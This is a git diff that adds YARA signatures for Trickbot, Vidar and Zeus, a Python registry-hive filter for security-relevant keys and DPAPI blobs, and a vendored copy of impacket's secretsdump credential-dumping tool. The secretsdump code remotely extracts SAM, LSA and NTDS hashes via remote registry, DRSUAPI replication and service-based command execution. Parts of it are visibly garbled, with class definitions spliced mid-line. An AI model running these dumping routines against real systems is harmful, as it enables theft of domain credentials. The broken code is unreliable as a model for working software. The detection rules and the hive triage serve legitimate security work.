+ fingerprint = "69338d2e74d82d1a587a9b078d13b8a457758412ca420ca53f88923a3f8d336b"
+ creation_date = "2021-03-30"
+ last_modified = "2021-03-30"
+ description = "Generic signature used to identify Trickbot module usage"
+ os = "Windows"
+ arch = "x86"
+ category_type = "Trojan"
+ family = "Trickbot"
+ threat_name = "Windows.Trojan.Trickbot"
+ source = "Manual"
+ maturity = "Diagnostic"
+ reference_sample = "6cd0d4666553fd7184895502d48c960294307d57be722ebb2188b004fc1a8066"
+ scan_type = "File, Memory"
+ severity = 80
+ strings:
+ $a1 = "" ascii wide
+ $a2 = "" ascii wide
+ $a3 = " " ascii wide
+ $a4 = " " ascii wide
+condition:
+ 2 of ($a*)
+}
+
+rule Windows_Trojan_Trickbot_be718af9 {
+ meta:
+ id = "be718af9-5995-4ae2-ba55-504e88693c96"
+ fingerprint = "047b1c64b8be17d4a6030ab2944ad715380f53a8a6dd9c8887f198693825a81d"
+ creation_date = "2021-03-30"
+ last_modified = "2021-04-12"
+ description = "Targets permadll module used to fingerprint BIOS/firmaware data"
+ os = "Windows"
+ arch = "x86"
+ category_type = "Trojan"
+ family = "Trickbot"
+ threat_name = "Windows.Trojan.Trickbot"
+ source = "Manual"
+ maturity = "Diagnostic"
+ reference_sample = "c1f1bc58456cff7413d7234e348d47a8acfdc9d019ae7a4aba1afc1b3ed55ffa"
+ scan_type = "File, Memory"
+ severity = 100
+ strings:
+ $a1 = "user_platform_check.dll" ascii fullword
+ $a2 = "yes " ascii fullword
+ $a3 = "DDEADFDEEEEE"
+ $a4 = "\\`Ruuuuu_Exs|_" ascii fullword
+ $a5 = "\"%pueuu%" ascii fullword
+condition:
+ 3 of ($a*)
+}
+
+rule Windows_Trojan_Trickbot_f8dac4bc {
+ meta:
+ id = "f8dac4bc-2ea1-4733-a260-59f3cae2eba8"
+ fingerprint = "256daf823f6296ae02103336817dec565129a11f37445b791b2f8e3163f0c17f"
+ creation_date = "2021-03-30"
+ last_modified = "2021-04-12"
+ description = "Targets rdpscan module used to bruteforce RDP"
+ os = "Windows"
+ arch = "x86"
+ category_type = "Trojan"
+ family = "Trickbot"
+ threat_name = "Windows.Trojan.Trickbot"
+ source = "Manual"
+ maturity = "Diagnostic"
+ reference_sample = "13d102d546b9384f944f2a520ba32fb5606182bed45a8bba681e4374d7e5e322"
+ scan_type = "File, Memory"
+ severity = 100
+ strings:
+ $a1 = "rdpscan.dll" ascii fullword
+ $a2 = "F:\\rdpscan\\Bin\\Release_nologs\\"
+ $a3 = "Cookie: %s %s" wide fullword
+ $a4 = " <"
+ $a5 = " <"
+ $a6 = "X^Failed to create a list of contr" ascii fullword
+ $a7 = "rdp/domains" wide fullword
+ $a8 = "Your product name" wide fullword
+ $a9 = "rdp/over" wide fullword
+ $a10 = "rdp/freq" wide fullword
+ $a11 = "rdp/names" wide fullword
+ $a12 = "rdp/dict" wide fullword
+ $a13 = "rdp/mode" wide fullword
+condition:
+ 4 of ($a*)
+}
+
+rule Windows_Trojan_Trickbot_9c0fa8fe {
+ meta:
+ id = "9c0fa8fe-8d5f-4581-87a0-92a4ed1b32b3"
+ fingerprint = "bd49ed2ee65ff0cfa95efc9887ed24de3882c5b5740d0efc6b9690454ca3f5dc"
+ creation_date = "2021-07-13"
+ last_modified = "2021-07-13"
+ os = "Windows"
+ arch = "x86"
+ category_type = "Trojan"
+ family = "Trickbot"
+ threat_name = "Windows.Trojan.Trickbot"
+ source = "Automated"
+ maturity = "Diagnostic"
+ reference_sample = "f528c3ea7138df7c661d88fafe56d118b6ee1d639868212378232ca09dc9bfad"
+ scan_type = "File, Memory"
+ severity = 100
+ strings:
+ $a = { 74 19 48 85 FF 74 60 8B 46 08 39 47 08 76 6A 33 ED B1 01 B0 01 }
+condition:
+ all of them
+}
+
+rule Windows_Trojan_Vidar_9007feb2 {
+ meta:
+ id = "9007feb2-6ad1-47b6-bae2-3379d114e4f1"
+ fingerprint = "8416b14346f833264e32c63253ea0b0fe28e5244302b2e1b266749c543980fe2"
+ creation_date = "2021-06-28"
+ last_modified = "2021-06-28"
+ os = "Windows"
+ arch = "x86"
+ category_type = "Trojan"
+ family = "Vidar"
+ threat_name = "Windows.Trojan.Vidar"
+ source = "Automated"
+ maturity = "Diagnostic"
+ reference_sample = "34c0cb6eaf2171d3ab9934fe3f962e4e5f5e8528c325abfe464d3c02e5f939ec"
+ scan_type = "File, Memory"
+ severity = 100
+ strings:
+ $a = { E8 53 FF D6 50 FF D7 8B 45 F0 8D 48 01 8A 10 40 3A D3 75 F9 }
+condition:
+ all of them
+}
+
+rule Windows_Trojan_Vidar_114258d5 {
+ meta:
+ id = "114258d5-f05e-46ac-914b-1a7f338ccf58"
+ fingerprint = "9b4f7619e15398fcafc622af821907e4cf52964c55f6a447327738af26769934"
+ creation_date = "2021-06-28"
+ last_modified = "2021-06-28"
+ os = "Windows"
+ arch = "x86"
+ category_type = "Trojan"
+ family = "Vidar"
+ threat_name = "Windows.Trojan.Vidar"
+ source = "Manual"
+ maturity = "Diagnostic"
+ reference_sample = "34c0cb6eaf2171d3ab9934fe3f962e4e5f5e8528c325abfe464d3c02e5f939ec"
+ scan_type = "File, Memory"
+ severity = 100
+ strings:
+ $a1 = "BinanceChainWallet" fullword
+ $a2 = "*wallet*.dat" fullword
+ $a3 = "SOFTWARE\\monero-project\\monero-core" fullword
+ $b1 = "CC\\%s_%s.txt" fullword
+ $b2 = "History\\%s_%s.txt" fullword
+ $b3 = "Autofill\\%s_%s.txt" fullword
+condition:
+ 1 of ($a*) and 1 of ($b*)
+}
+
+rule Windows_Trojan_Zeus_e51c60d7 {
+ meta:
+ id = "e51c60d7-3afa-4cf5-91d8-7782e5026e46"
+ fingerprint = "f654d45152fd0e6a494b563e46e900a8afc4831dbdb832fda141146802af4a9d"
+ creation_date = "2021-02-07"
+ last_modified = "2021-07-16"
+ description = "Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature."
+ os = "Windows"
+ arch = "x86"
+ category_type = "Trojan"
+ family = "Zeus"
+ threat_name = "Windows.Trojan.Zeus"
+ source = "Manual"
+ maturity = "Diagnostic"
+ reference = "https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects"
+ reference_sample = "d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3"
+ scan_type = "File, Memory"
+ severity = 100
+ strings:
+ $a1 = "set_url" ascii wide fullword
+ $a2 = "data_before" ascii wide fullword
+ $a3 = "data_after" ascii wide fullword
+ $a4 = "data_end" ascii wide fullword
+ $a5 = "data_inject" ascii wide fullword
+condition:
+ 4 of them
+}
diff --git a/cmd/enrichment/enrichment/lib/registry.py b/cmd/enrichment/enrichment/lib/registry.py
new file mode 100644
index 0000000..5cf4bfb
--- /dev/null
+++ b/cmd/enrichment/enrichment/lib/registry.py
@@ -0,0 +1,313 @@
+# Standard Libraries
+import base64
+import re
+from enum import Enum
+
+# 3rd Party Libraries
+import nemesiscommon.constants as constants
+import nemesispb.nemesis_pb2 as pb
+import structlog
+from nemesiscommon import helpers
+from Registry import Registry
+from winacl.dtyp.ace import (ACCESS_ALLOWED_CALLBACK_ACE,
+ SYSTEM_MANDATORY_LABEL_ACE, ACEType)
+from winacl.dtyp.security_descriptor import SECURITY_DESCRIPTOR
+
+logger = structlog.get_logger(module=__name__)
+
+
+registry_path_regexes = [
+ # # paths that contain service information
+ re.compile(r"^hklm[:]?\\system\\(currentcontrolset|controlset001|controlset002)\\services\\", re.IGNORECASE),
+ # System ENV variables
+ re.compile(r"^hklm[:]?\\system\\(currentcontrolset|controlset001|controlset002)\\control\\session manager\\environment", re.IGNORECASE),
+ # LSA settings
+ re.compile(r"^hklm[:]?\\system\\(currentcontrolset|controlset001|controlset002)\\control\\lsa", re.IGNORECASE),
+ # shutdown time/etc.
+ re.compile(r"hklm[:]?\\system\\(currentcontrolset|controlset001|controlset002)\\control\\windows", re.IGNORECASE),
+ # SecureBoot
+ re.compile(r"^hklm[:]?\\system\\(currentcontrolset|controlset001|controlset002)\\control\\secureboot\\state", re.IGNORECASE),
+ # paths for autologon information
+ re.compile(r"^hklm[:]?\\software\\microsoft\\windows nt\\currentversion\\winlogon", re.IGNORECASE),
+ # Network profiles
+ re.compile(r"hklm[:]?\\software\\microsoft\\windows nt\\currentversion\\networklist\\profiles", re.IGNORECASE),
+ # autoruns
+ re.compile(r"^hklm[:]?\\software\\(wow6432node\\)*microsoft\\windows\\currentversion\\(run(once)*(service)*)", re.IGNORECASE),
+ # UAC settings + registry audit policies
+ re.compile(r"^hklm[:]?\\software\\microsoft\\windows\\currentversion\\policies\\system", re.IGNORECASE),
+ # AppLocker
+ re.compile(r"^hklm[:]?\\software\\policies\\microsoft\\windows\\srpv2", re.IGNORECASE),
+ # .NET versions
+ re.compile(r"^hklm[:]?\\software\\microsoft\\net framework setup\\ndp", re.IGNORECASE),
+ # PowerShell versions
+ re.compile(r"^hklm[:]?\\software\\microsoft\\powershell\\(1|3)\\powershellengine", re.IGNORECASE),
+ # PowerShell core versions
+ re.compile(r"^hklm[:]?\\software\\microsoft\\powershellcore\\installedversions", re.IGNORECASE),
+ # PowerShell session settings
+ re.compile(r"^hklm[:]?\\software\\microsoft\\windows\\currentversion\\wsman\\plugin", re.IGNORECASE),
+ # RDP client settings
+ re.compile(r"^hklm[:]?\\software\\policies\\microsoft\\windows\\credentialsdelegation", re.IGNORECASE),
+ # RDP server settings
+ re.compile(r"^hklm[:]?\\software\\policies\\microsoft\\windows nt\\terminal services", re.IGNORECASE),
+ # Internet settings (proxy + zones)
+ re.compile(r"^hklm[:]?\\software\\microsoft\\windows\\currentversion\\internet settings", re.IGNORECASE),
+ # Windows Firewall settings
+ re.compile(r"^hklm[:]?\\software\\policies\\microsoft\\windowsfirewall", re.IGNORECASE),
+ re.compile(r"^hklm[:]?\\system\\currentcontrolset\\services\\sharedaccess\\parameters\\firewallpolicy", re.IGNORECASE),
+ # Windows Defender settings
+ re.compile(r"^hklm[:]?\\software\\(policies\\)*microsoft\\windows defender", re.IGNORECASE),
+ # Eventlog forwarding
+ re.compile(r"^hklm[:]?\\software\\policies\\microsoft\\windows\\eventlog\\eventforwarding\\subscriptionmanager", re.IGNORECASE),
+ # WSUS information
+ re.compile(r"^hklm[:]?\\software\\policies\\microsoft\\windows\\windowsupdate", re.IGNORECASE),
+ # SCCM
+ re.compile(r"^hklm[:]?\\software\\microsoft\\ccmsetup", re.IGNORECASE),
+ re.compile(r"^hklm[:]?\\software\\microsoft\\sms\\mobile client", re.IGNORECASE),
+ # LAPS
+ re.compile(r"^hklm[:]?\\Software\\Policies\\Microsoft Services\\AdmPwd", re.IGNORECASE),
+ # Installed software
+ re.compile(r"^hklm[:]?\\software\\(wow6432node\\)*microsoft\\windows\\currentversion\\uninstall", re.IGNORECASE),
+
+ # User RDP saved connections
+ re.compile(r"^(?!hklm).+\\software\\microsoft\\terminal server client\\servers", re.IGNORECASE),
+ # User Explorer MRUs
+ re.compile(r"^(?!hklm).+\\software\\microsoft\\windows\\currentversion\\explorer\\runmru", re.IGNORECASE),
+ # User Putty information
+ re.compile(r"^(?!hklm).+\\software\\simontatham\\putty", re.IGNORECASE),
+ # User onedrive info
+ re.compile(r"^(?!hklm).+\\software\\syncengines\\providers\\onedrive", re.IGNORECASE),
+ # Internet Explorer typed URLs
+ re.compile(r"^(?!hklm).+\\software\\microsoft\\internet explorer\\typedurls", re.IGNORECASE),
+
+ # TODO:
+ # Office MRUs https://github.com/GhostPack/Seatbelt/blob/master/Seatbelt/Commands/Products/OfficeMRUsCommand.cs
+]
+
+registry_value_regexes = [
+ # privesc check
+ re.compile(r"^AlwaysInstallElevated$"),
+ # OS information
+ # re.compile(r"^(ProductName|EditionID|ReleaseId|BuildBranch|CurrentMajorVersionNumber|CurrentVersion|CurrentBuildNumber)$"),
+]
+
+
+class RegistryValueKindEnum(Enum):
+ NONE = 0
+ SZ = 1
+ EXPAND_SZ = 2
+ BINARY = 3
+ DWORD = 4
+ DWORD_BIG_ENDIAN = 5
+ LINK = 6
+ MULTI_SZ = 7
+ RESOURCE_LIST = 8
+ FULL_RESOURCE_DESCRIPTOR = 9
+ RESOURCE_REQUIREMENTS_LIST = 10
+ QWORD = 11
+
+
+# these are the value types that DPAPI data can be carved from
+dpapi_check_values = {
+ RegistryValueKindEnum.SZ.value: "",
+ RegistryValueKindEnum.EXPAND_SZ.value: "",
+ RegistryValueKindEnum.BINARY.value: "",
+ RegistryValueKindEnum.MULTI_SZ.value: "",
+}
+
+
+async def get_hive_name(hive_path: str) -> str:
+ """
+ Takes a registry hive path on disk and tries to determine
+ the hive name (e.g., HKLM\Security).
+ """
+ reg = Registry.Registry(hive_path)
+ if reg.hive_type() == Registry.HiveType.BCD:
+ return "HKLM\\BCD00000000"
+ elif reg.hive_type() == Registry.HiveType.SAM:
+ return "HKLM\\SAM"
+ elif reg.hive_type() == Registry.HiveType.SECURITY:
+ return "HKLM\\SECURITY"
+ elif reg.hive_type() == Registry.HiveType.SYSTEM:
+ return "HKLM\\SYSTEM"
+ elif reg.hive_type() == Registry.HiveType.SOFTWARE:
+ return "HKLM\\SOFTWARE"
+ elif reg.hive_type() == Registry.HiveType.NTUSER:
+ # if we have a HKU user hive, since there's not an established way to recover
+ # the user's SID for the mounting point, instead enumerate all of the ALLOW
+ # ACEs on the registry root and see if we can recover the user SID from there
+ sk = reg.root()._nkrecord.sk_record()
+ sd_size = sk.unpack_dword(16)
+ sd = SECURITY_DESCRIPTOR.from_bytes(sk.unpack_binary(20, sd_size))
+ sids = [f"{ace.Sid}" for ace in sd.Dacl.aces if ace.AceType == ACEType.ACCESS_ALLOWED_ACE_TYPE and re.match("S-1-5-21-.*", f"{ace.Sid}")]
+ if len(sids) < 1:
+ raise Exception("Can't derive a proper user SID from the DACL on the hive root")
+ elif len(sids) > 2:
+ raise Exception("Derived multiple user SIDs from the DACL on the hive root")
+ else:
+ return f"HKU\\{sids[0]}"
+ elif reg.hive_type() == Registry.HiveType.UNKNOWN:
+ hive_name_lower = reg.hive_name().lower()
+ if hive_name_lower.endswith("system32\\config\\drivers"):
+ return "HKLM\\DRIVERS"
+ # TODO: hardware hive? others?
+ else:
+ raise Exception(f"Can't determine naming root for hive: {hive_path}")
+
+
+async def registry_recurse(key: Registry.RegistryKey, hive_root: str = "", check_values: bool = False):
+ """
+ Recurses a RegistryKey start, replacing ROOT with the specified hive_root.
+
+ If check_values is false, all keys are emitted as RegistryValueIngestion protobufs.
+
+ If check_values is true, all keys run through include_registry_value and are emitted
+ as RegistryValueIngestion protobufs if the check is true.
+ """
+
+ key_path = key.path()
+ sddl = ""
+
+ try:
+ # get the security record for this key
+ sk = key._nkrecord.sk_record()
+ # get the size of the security descriptor
+ sd_size = sk.unpack_dword(16)
+ # read `sd_size` bytes at the sd offset and transform to a SDDL
+ sddl = SECURITY_DESCRIPTOR.from_bytes(sk.unpack_binary(20, sd_size)).to_sddl()
+ except AttributeError as e:
+ if e.name == "to_sddl" and type(e.obj) == ACCESS_ALLOWED_CALLBACK_ACE:
+ logger.warning(
+ "Data loss due to bytes-to-SDDL conversion failing due to a known bug: there's an ACCESS_ALLOWED_CALLBACK_ACE in the security descriptor (see https://github.com/skelsec/winacl/issues/10)",
+ key_path=key_path,
+ )
+ elif e.name == "to_sddl" and type(e.obj) == SYSTEM_MANDATORY_LABEL_ACE:
+ logger.warning(
+ "Data loss due to bytes-to-SDDL conversion failing due to a known bug: there's an SYSTEM_MANDATORY_LABEL_ACE in the security descriptor",
+ key_path=key_path,
+ )
+ else:
+ logger.exception(
+ e,
+ msg="Bytes to SDDL conversion failed",
+ key_path=key_path,
+ )
+ except ValueError as e:
+ if f"{e}" == "20 is not a valid ACEType":
+ logger.warning(
+ "Data loss due to bytes-to-SDDL conversion failing due to a known bug: there's an ACCESS_ALLOWED_CALLBACK_ACE in the security descriptor (see https://github.com/skelsec/winacl/issues/10)",
+ key_path=key_path,
+ )
+ else:
+ logger.exception(
+ e,
+ msf="Bytes to SDDL conversion failed",
+ key_path=key_path,
+ )
+
+ if hive_root:
+ key_path = key_path.replace("ROOT", hive_root)
+
+ for value in key.values():
+ try:
+ value_name = value.name()
+ value_type = value.value_type()
+ if value_type == RegistryValueKindEnum.BINARY.value:
+ # base64 encode binary data
+ value_data = base64.b64encode(value.value()).decode("utf-8")
+ else:
+ value_data = value.value()
+
+ # if we're not checking registry values (targeted value extraction) or
+ # we're checking all values (mass value extraction)
+ tags = await include_registry_value(key_path, value_name, value_type, value_data)
+ if not check_values or tags:
+ reg_key = pb.RegistryValueIngestion()
+ if hive_root:
+ reg_key.key = key_path.replace("ROOT", hive_root)
+ else:
+ reg_key.key = key_path
+ reg_key.value_name = value_name
+ reg_key.value_kind = value_type
+ reg_key.value = f"{value_data}"
+ reg_key.sddl = sddl
+ reg_key.tags = tags
+ yield reg_key
+ except:
+ pass
+ for subkey in key.subkeys():
+ async for result in registry_recurse(subkey, hive_root, check_values):
+ yield result
+
+
+async def get_registry_values_from_hive(hive_path: str, scan_all_values: bool = True):
+ """
+ If scan_all_values is true, extract all values from the hive, checking
+ each against include_registry_value(). This is more complete but less performant.
+
+ Otherwise since hive files have a _lot_ of data that need to be parsed,
+ we may want to manually extract the specific keys we want instead of extracting
+ _everything_ and checking for inclusion after. This is less complete but more performant.
+
+ """
+
+ reg = Registry.Registry(hive_path)
+ # grab the root of the hive
+ hive_root = await get_hive_name(hive_path)
+
+ if scan_all_values:
+ # Mass value extraction/scanning.
+ try:
+ async for result in registry_recurse(reg.root(), hive_root, True):
+ yield result
+ except Exception as e:
+ await logger.aexception(e)
+ else:
+ # Targeted value extraction.
+
+ # Services
+ try:
+ select = reg.open("Select")
+ current = select.value("Current").value()
+ services = reg.open("ControlSet00%d\\Services" % (current))
+ async for result in registry_recurse(services, hive_root):
+ yield result
+ except Exception as e:
+ await logger.aexception(e)
+
+
+async def include_registry_value(key: str = "", value_name: str = "", value_kind=None, value=None) -> str:
+ """
+ Returns a REG_TAG_X value if the key (and optional value name) should be emitted
+ back into the queue. This functions as the central filtering logic
+ for what registry keys to include in the backend model.
+ """
+
+ # check all of our path regexes
+ if key:
+ for registry_path_regex in registry_path_regexes:
+ if registry_path_regex.search(key):
+ return constants.REG_TAG_KEY
+
+ # check all of the value regexes
+ if value_name:
+ for registry_value_regex in registry_value_regexes:
+ if registry_value_regex.search(value_name):
+ return constants.REG_TAG_VALUE
+
+ if value and value_kind and value_kind in dpapi_check_values:
+ # check specific value types for DPAPI blobs
+ if type(value) == bytes:
+ if await helpers.scan_for_dpapi_blob(value):
+ return constants.REG_TAG_DPAPI
+ elif type(value) == str:
+ try:
+ if await helpers.scan_for_dpapi_blob(value.encode("utf-8")):
+ return constants.REG_TAG_DPAPI
+ except:
+ try:
+ if await helpers.scan_for_dpapi_blob(value.encode("ascii")):
+ return constants.REG_TAG_DPAPI
+ except:
+ pass
+
+ return ""
diff --git a/cmd/enrichment/enrichment/lib/secretsdump.py b/cmd/enrichment/enrichment/lib/secretsdump.py
new file mode 100644
index 0000000..645a7e6
--- /dev/null
+++ b/cmd/enrichment/enrichment/lib/secretsdump.py
@@ -0,0 +1,3441 @@
+# from https://raw.githubusercontent.com/fortra/impacket/1df3490f3d6199ba834899209213cd562bc8bcfd/impacket/examples/secretsdump.py
+# Apache License Version 1.1
+# Modifications by @harmj0y: don't display secrets being dumped
+
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# Copyright (C) 2022 Fortra. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+# Performs various techniques to dump hashes from the
+# remote machine without executing any agent there.
+# For SAM and LSA Secrets (including cached creds)
+# we try to read as much as we can from the registry
+# and then we save the hives in the target system
+# (%SYSTEMROOT%\\Temp dir) and read the rest of the
+# data from there.
+# For NTDS.dit we either:
+# a. Get the domain users list and get its hashes
+# and Kerberos keys using [MS-DRDS] DRSGetNCChanges()
+# call, replicating just the attributes we need.
+# b. Extract NTDS.dit via vssadmin executed with the
+# smbexec approach.
+# It's copied on the temp dir and parsed remotely.
+#
+# The script initiates the services required for its working
+# if they are not available (e.g. Remote Registry, even if it is
+# disabled). After the work is done, things are restored to the
+# original state.
+#
+# Author:
+# Alberto Solino (@agsolino)
+#
+# References:
+# Most of the work done by these guys. I just put all
+# the pieces together, plus some extra magic.
+# - https://github.com/gentilkiwi/kekeo/tree/master/dcsync
+# - https://moyix.blogspot.com.ar/2008/02/syskey-and-sam.html
+# - https://moyix.blogspot.com.ar/2008/02/decrypting-lsa-secrets.html
+# - https://moyix.blogspot.com.ar/2008/02/cached-domain-credentials.html
+# - https://web.archive.org/web/20130901115208/www.quarkslab.com/en-blog+read+13
+# - https://code.google.com/p/creddump/
+# - https://lab.mediaservice.net/code/cachedump.rb
+# - https://insecurety.net/?p=768
+# - https://web.archive.org/web/20190717124313/http://www.beginningtoseethelight.org/ntsecurity/index.htm
+# - https://www.exploit-db.com/docs/english/18244-active-domain-offline-hash-dump-&-forensic-analysis.pdf
+# - https://www.passcape.com/index.php?section=blog&cmd=details&id=15
+#
+from __future__ import division
+from __future__ import print_function
+import codecs
+import json
+import hashlib
+import logging
+import ntpath
+import os
+import re
+import random
+import string
+import time
+import base64
+from binascii import unhexlify, hexlify
+from collections import OrderedDict
+from datetime import datetime, timedelta
+from struct import unpack, pack
+from six import b, PY2
+
+from impacket import LOG
+from impacket import system_errors
+from impacket import winregistry, ntlm
+from impacket.ldap.ldap import SimplePagedResultsControl, LDAPSearchError
+from impacket.ldap.ldapasn1 import SearchResultEntry
+from impacket.dcerpc.v5 import transport, rrp, scmr, wkst, samr, epm, drsuapi
+from impacket.dcerpc.v5.dtypes import NULL
+from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY, DCERPCException, RPC_C_AUTHN_GSS_NEGOTIATE
+from impacket.dcerpc.v5.dcom import wmi
+from impacket.dcerpc.v5.dcom.oaut import IID_IDispatch, IDispatch, DISPPARAMS, DISPATCH_PROPERTYGET, \
+ VARIANT, VARENUM, DISPATCH_METHOD
+from impacket.dcerpc.v5.dcomrt import DCOMConnection, OBJREF, FLAGS_OBJREF_CUSTOM, OBJREF_CUSTOM, OBJREF_HANDLER, \
+ OBJREF_EXTENDED, OBJREF_STANDARD, FLAGS_OBJREF_HANDLER, FLAGS_OBJREF_STANDARD, FLAGS_OBJREF_EXTENDED, \
+ IRemUnknown2, INTERFACE
+from impacket.ese import ESENT_DB, getUnixTime
+from impacket.dpapi import DPAPI_SYSTEM
+from impacket.smb3structs import FILE_READ_DATA, FILE_SHARE_READ
+from impacket.nt_errors import STATUS_MORE_ENTRIES
+from impacket.structure import Structure
+from impacket.structure import hexdump
+from impacket.uuid import string_to_bin
+from impacket.crypto import transformKey
+from impacket.krb5 import constants
+from impacket.krb5.asn1 import Ticket as TicketAsn1, EncTicketPart, AP_REQ, seq_set, Authenticator, TGS_REQ, \
+ seq_set_iter, TGS_REP, EncTGSRepPart, KERB_KEY_LIST_REP
+from impacket.krb5.constants import ProtocolVersionNumber, TicketFlags, PrincipalNameType, encodeFlags, EncryptionTypes
+from impacket.krb5.crypto import string_to_key, Key, _enctype_table
+from impacket.krb5.kerberosv5 import sendReceive
+from impacket.krb5.types import KerberosTime, Principal, Ticket
+try:
+ from Cryptodome.Cipher import DES, ARC4, AES
+ from Cryptodome.Hash import HMAC, MD4, MD5
+except ImportError:
+ LOG.critical("Warning: You don't have any crypto installed. You need pycryptodomex")
+ LOG.critical("See https://pypi.org/project/pycryptodomex/")
+try:
+ import pyasn1
+ from pyasn1.type.univ import noValue, SequenceOf, Integer
+ from pyasn1.codec.der import encoder, decoder
+except ImportError:
+ LOG.critical('This module needs pyasn1 installed')
+
+try:
+ rand = random.SystemRandom()
+except NotImplementedError:
+ rand = random
+ pass
+
+# Structures
+# Taken from https://insecurety.net/?p=768
+class SAM_KEY_DATA(Structure):
+ structure = (
+ ('Revision','L',self['SubAuthority'][i*4:i*4+4])[0])
+ return ans
+
+class LSA_SECRET_BLOB(Structure):
+ structure = (
+ ('Length','=0:
+ if tries >= 3:
+ raise e
+ # Stuff didn't finish yet.. wait more
+ time.sleep(5)
+ tries += 1
+ pass
+ else:
+ raise e
+ else:
+ break
+
+ def seek(self, offset, whence):
+ # Implement whence, for now it's always from the beginning of the file
+ if whence == 0:
+ self.__currentOffset = offset
+
+ def read(self, bytesToRead):
+ if bytesToRead > 0:
+ data = self.__smbConnection.readFile(self.__tid, self.__fid, self.__currentOffset, bytesToRead)
+ self.__currentOffset += len(data)
+ return data
+ return b''
+
+ def close(self):
+ if self.__fid is not None:
+ self.__smbConnection.closeFile(self.__tid, self.__fid)
+ self.__smbConnection.deleteFile('ADMIN$', self.__fileName)
+ self.__fid = None
+
+ def tell(self):
+ return self.__currentOffset
+
+ def __str__(self):
+ return "\\\\%s\\ADMIN$\\%s" % (self.__smbConnection.getRemoteHost(), self.__fileName)
+
+class RemoteOperations:
+ def __init__(self, smbConnection, doKerberos, kdcHost=None, ldapConnection=None):
+ self.__smbConnection = smbConnection
+ if self.__smbConnection is not None:
+ self.__smbConnection.setTimeout(5*60)
+ self.__ldapConnection = ldapConnection
+ self.__serviceName = 'RemoteRegistry'
+ self.__stringBindingWinReg = r'ncacn_np:445[\pipe\winreg]'
+ self.__rrp = None
+ self.__regHandle = None
+
+ self.__stringBindingSamr = r'ncacn_np:445[\pipe\samr]'
+ self.__samr = None
+ self.__domainHandle = None
+ self.__domainName = None
+ self.__domainSid = None
+
+ self.__drsr = None
+ self.__hDrs = None
+ self.__NtdsDsaObjectGuid = None
+ self.__ppartialAttrSet = None
+ self.__prefixTable = []
+ self.__doKerberos = doKerberos
+ self.__kdcHost = kdcHost
+
+ self.__bootKey = b''
+ self.__disabled = False
+ self.__shouldStop = False
+ self.__started = False
+
+ self.__stringBindingSvcCtl = r'ncacn_np:445[\pipe\svcctl]'
+ self.__scmr = None
+ self.__tmpServiceName = None
+ self.__serviceDeleted = False
+
+ self.__batchFile = '%TEMP%\\execute.bat'
+ self.__shell = '%COMSPEC% /Q /c '
+ self.__output = '%SYSTEMROOT%\\Temp\\__output'
+ self.__answerTMP = b''
+
+ self.__execMethod = 'smbexec'
+
+ def setExecMethod(self, method):
+ self.__execMethod = method
+
+ def __connectSvcCtl(self):
+ rpc = transport.DCERPCTransportFactory(self.__stringBindingSvcCtl)
+ rpc.set_smb_connection(self.__smbConnection)
+ self.__scmr = rpc.get_dce_rpc()
+ self.__scmr.connect()
+ self.__scmr.bind(scmr.MSRPC_UUID_SCMR)
+
+ def __connectWinReg(self):
+ rpc = transport.DCERPCTransportFactory(self.__stringBindingWinReg)
+ rpc.set_smb_connection(self.__smbConnection)
+ self.__rrp = rpc.get_dce_rpc()
+ self.__rrp.connect()
+ self.__rrp.bind(rrp.MSRPC_UUID_RRP)
+
+ def getRRP(self):
+ return self.__rrp
+
+ def connectSamr(self, domain):
+ rpc = transport.DCERPCTransportFactory(self.__stringBindingSamr)
+ rpc.set_smb_connection(self.__smbConnection)
+ self.__samr = rpc.get_dce_rpc()
+ self.__samr.connect()
+ self.__samr.bind(samr.MSRPC_UUID_SAMR)
+ resp = samr.hSamrConnect(self.__samr)
+ serverHandle = resp['ServerHandle']
+
+ resp = samr.hSamrLookupDomainInSamServer(self.__samr, serverHandle, domain)
+ self.__domainSid = resp['DomainId'].formatCanonical()
+
+ resp = samr.hSamrOpenDomain(self.__samr, serverHandle=serverHandle, domainId=resp['DomainId'])
+ self.__domainHandle = resp['DomainHandle']
+ self.__domainName = domain
+
+ def __connectDrds(self):
+ stringBinding = epm.hept_map(self.__smbConnection.getRemoteHost(), drsuapi.MSRPC_UUID_DRSUAPI,
+ protocol='ncacn_ip_tcp')
+ rpc = transport.DCERPCTransportFactory(stringBinding)
+ rpc.setRemoteHost(self.__smbConnection.getRemoteHost())
+ rpc.setRemoteName(self.__smbConnection.getRemoteName())
+ if hasattr(rpc, 'set_credentials'):
+ # This method exists only for selected protocol sequences.
+ rpc.set_credentials(*(self.__smbConnection.getCredentials()))
+ rpc.set_kerberos(self.__doKerberos, self.__kdcHost)
+ self.__drsr = rpc.get_dce_rpc()
+ self.__drsr.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
+ if self.__doKerberos:
+ self.__drsr.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
+ self.__drsr.connect()
+ # Uncomment these lines if you want to play some tricks
+ # This will make the dump way slower tho.
+ #self.__drsr.bind(samr.MSRPC_UUID_SAMR)
+ #self.__drsr = self.__drsr.alter_ctx(drsuapi.MSRPC_UUID_DRSUAPI)
+ #self.__drsr.set_max_fragment_size(1)
+ # And Comment this line
+ self.__drsr.bind(drsuapi.MSRPC_UUID_DRSUAPI)
+
+ if self.__domainName is None:
+ # Get domain name from credentials cached
+ self.__domainName = rpc.get_credentials()[2]
+
+ request = drsuapi.DRSBind()
+ request['puuidClientDsa'] = drsuapi.NTDSAPI_CLIENT_GUID
+ drs = drsuapi.DRS_EXTENSIONS_INT()
+ drs['cb'] = len(drs) #- 4
+ drs['dwFlags'] = drsuapi.DRS_EXT_GETCHGREQ_V6 | drsuapi.DRS_EXT_GETCHGREPLY_V6 | drsuapi.DRS_EXT_GETCHGREQ_V8 | \
+ drsuapi.DRS_EXT_STRONG_ENCRYPTION
+ drs['SiteObjGuid'] = drsuapi.NULLGUID
+ drs['Pid'] = 0
+ drs['dwReplEpoch'] = 0
+ drs['dwFlagsExt'] = 0
+ drs['ConfigObjGUID'] = drsuapi.NULLGUID
+ # I'm uber potential (c) Ben
